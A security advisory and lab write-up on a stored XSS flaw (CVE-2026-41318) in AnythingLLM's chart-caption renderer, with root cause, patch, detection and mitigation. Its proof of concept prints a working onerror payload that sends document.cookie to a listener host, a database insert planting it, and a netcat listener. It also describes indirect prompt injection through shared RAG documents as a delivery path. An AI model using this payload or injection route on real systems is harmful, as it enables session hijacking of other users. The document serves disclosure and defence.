All Articles

CVE-2026-41318: Stored XSS in AnythingLLM via Unsanitized Chart Captions

A stored XSS vulnerability in AnythingLLM's Chartable Markdown renderer lets attacker-controlled chart captions execute arbitrary JavaScript in another user's browser — with a full proof-of-concept walkthrough.

AnythingLLM is an open-source application for building AI-powered RAG (Retrieval-Augmented Generation) workflows and chat-based interfaces. We found a stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-41318, affecting all versions prior to 1.12.1.

Affected software: AnythingLLM (versions < 1.12.1) · Severity: Medium · CVSS v3.1: 5.4 (AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:N) · CVSS v2: 5.6 · Fixed in: 1.12.1

The vulnerability lives in the Chartable component’s Markdown renderer, where LLM-generated output can reach the browser without sufficient sanitization. An attacker can abuse this through malicious content introduced via shared documents or directly via chart records — and when a victim opens the affected workspace or conversation, the stored payload executes in their browser.


Vulnerability Details

The root cause is the absence of a DOMPurify.sanitize() wrapper around content rendered by the Chartable component. The Markdown renderer also uses a custom image rule that interpolates the alt text attribute without proper HTML encoding.

Combined with unsanitized chart caption rendering, this creates an injection point for malicious HTML or JavaScript. Because the content is stored and later rendered to other users, the result is a classic stored XSS: anyone who opens the compromised conversation or workspace runs the attacker’s script.

Attack Scenarios

The vulnerability can be triggered through two primary paths.

1. Indirect Prompt Injection

An attacker places malicious content inside a document accessible to a shared workspace. When the RAG pipeline processes that document, the malicious content can influence the LLM-generated response. If the resulting output is rendered through the vulnerable Chartable component, the injected payload becomes persistent and executes when other users view the conversation.

2. Direct Chart Record Manipulation

An attacker with access to a workspace creates or manipulates a chart record with a malicious caption. When another user opens the compromised workspace or conversation, the vulnerable Markdown renderer executes the payload in their browser.

Both paths converge on the same outcome — a chat record containing attacker-controlled content that AnythingLLM renders without sanitizing. The proof of concept below reproduces that end state directly, rather than depending on any particular LLM’s behavior under prompt injection.


Reproduction Environment

Check out the vulnerable commit and build it locally:

git clone https://github.com/Mintplex-Labs/anything-llm.git
cd anything-llm
git checkout 6ca2d5235da5cd2f779bef3d59f14543d005588f
git status

Cloning the AnythingLLM repository and checking out the vulnerable commit

Build the image from the vulnerable commit:

Docker build of AnythingLLM from the vulnerable commit

With the container running, a fresh workspace loads exactly as expected — nothing unusual from the user’s side:

AnythingLLM running locally with a new, empty workspace

Proof of Concept

1. Craft a malicious chart caption. The payload abuses the unsanitized Markdown image rule: a broken image whose alt text breaks out into an onerror handler, which fetches an attacker-controlled URL with document.cookie attached and overwrites the page title as a visible marker.

caption = 'XSS-PROBE ![x" onerror="fetch(`http://127.0.0.1:31337/stolen?cookie=`+document.cookie);document.title=`PWNED`"](http://x)'

chart = {
    "type": "bar",
    "dataset": json.dumps([{"name": "a", "value": 1}], separators=(",", ":")),
    "title": "Benign Chart",
    "caption": caption,
}

response = {
    "sources": [],
    "type": "rechartVisualize",
    "attachments": [],
    "metrics": {},
    "text": json.dumps(chart, separators=(",", ":")),
}

Python script generating the malicious chart caption payload

2. Deliver it as a stored chat response. This simulates the state either attack scenario above ultimately produces — attacker-controlled content sitting in workspace_chats, waiting to be rendered:

INSERT INTO workspace_chats
  (workspaceId, prompt, response, include, user_id)
VALUES
  (3, 'caption rendering test', CAST(readfile('/data/resp.json') AS TEXT), 1, NULL);

Inserting the crafted response directly into workspace_chats and verifying it

3. The victim opens the conversation. The chart renders normally, but the caption underneath triggers the injected onerror handler — note the browser tab title has already flipped to PWNED:

The chart renders with the injected caption below it, and the page title has changed to PWNED

4. Confirm exfiltration. A listener on the attacker’s side receives the outbound request carrying the victim’s session cookie the moment the payload fires:

nc -nvlp 31337

Netcat listener receiving the exfiltration request with document.cookie attached

That confirms arbitrary JavaScript execution in the victim’s authenticated session, with a working exfiltration channel out to attacker-controlled infrastructure.


Root Cause

  1. Missing sanitization of rendered content via DOMPurify.sanitize().
  2. Improper HTML encoding of URL and alt text attributes in the custom Markdown image rendering rule.

Together, these let attacker-controlled content reach the browser without adequate output encoding or sanitization.

Impact

  1. Successful exploitation lets an attacker execute arbitrary JavaScript in the browser of any user who opens the compromised workspace or conversation.
  2. Depending on the victim’s privileges and available client-side functionality, this can lead to actions performed within the victim’s authenticated session — including session/cookie theft, as demonstrated above.
  3. Exploitation requires relatively low privileges and some user interaction, since the victim must open the affected workspace or conversation for the stored payload to execute.

Patch

The vulnerability was fixed in AnythingLLM 1.12.1. All versions prior remain vulnerable. The patch adds proper HTML encoding via HTMLEncode() for URL-related attributes and introduces the missing DOMPurify import and sanitization call in the Chartable component — closing both the encoding gap and the missing-sanitization gap identified above.

Detection

Review application and server logs for unusual activity on workspace chat endpoints, particularly:

/api/workspace/:slug/chats

Log-based detection alone isn’t sufficient, since exploitation ultimately happens client-side during rendering. Also review workspace content, chart records, and captions directly for unexpected HTML or script-like content.

Mitigation

  1. Upgrade AnythingLLM to version 1.12.1 or later.
  2. Audit existing chart records and workspace data for suspicious HTML or script content, particularly in chart captions.
  3. Review shared documents that may have been used as sources for indirect prompt injection.
  4. Implement a Content Security Policy (CSP) to reduce the impact of client-side script injection and help detect attempted inline script execution.
  5. If a vulnerable version was exposed to untrusted users, review affected workspaces and conversations for unexpected content.

Conclusion

CVE-2026-41318 is a stored XSS vulnerability in AnythingLLM caused by insufficient sanitization and HTML encoding in the Chartable Markdown rendering path. It’s particularly relevant in shared-workspace environments, since malicious content can arrive indirectly through RAG-processed documents or directly through chart records — and either path ends with a script executing in another user’s authenticated session.

If you’re running an affected version, upgrade to 1.12.1 or later and review existing workspace and chart data for anything that shouldn’t be there.

Reference: nvd.nist.gov/vuln/detail/CVE-2026-41318

This writeup is also published in our public AppSec course labs repo, alongside the hands-on XSS lab it pairs with.

Building on RAG or LLM-powered features and want them stress-tested before something like this ships? Get in touch — our team specializes in AI security and application security assessments.

Want to secure your systems?

Talk to Our Team

Every engagement starts with a free conversation about your risk profile.

Get in Touch More Articles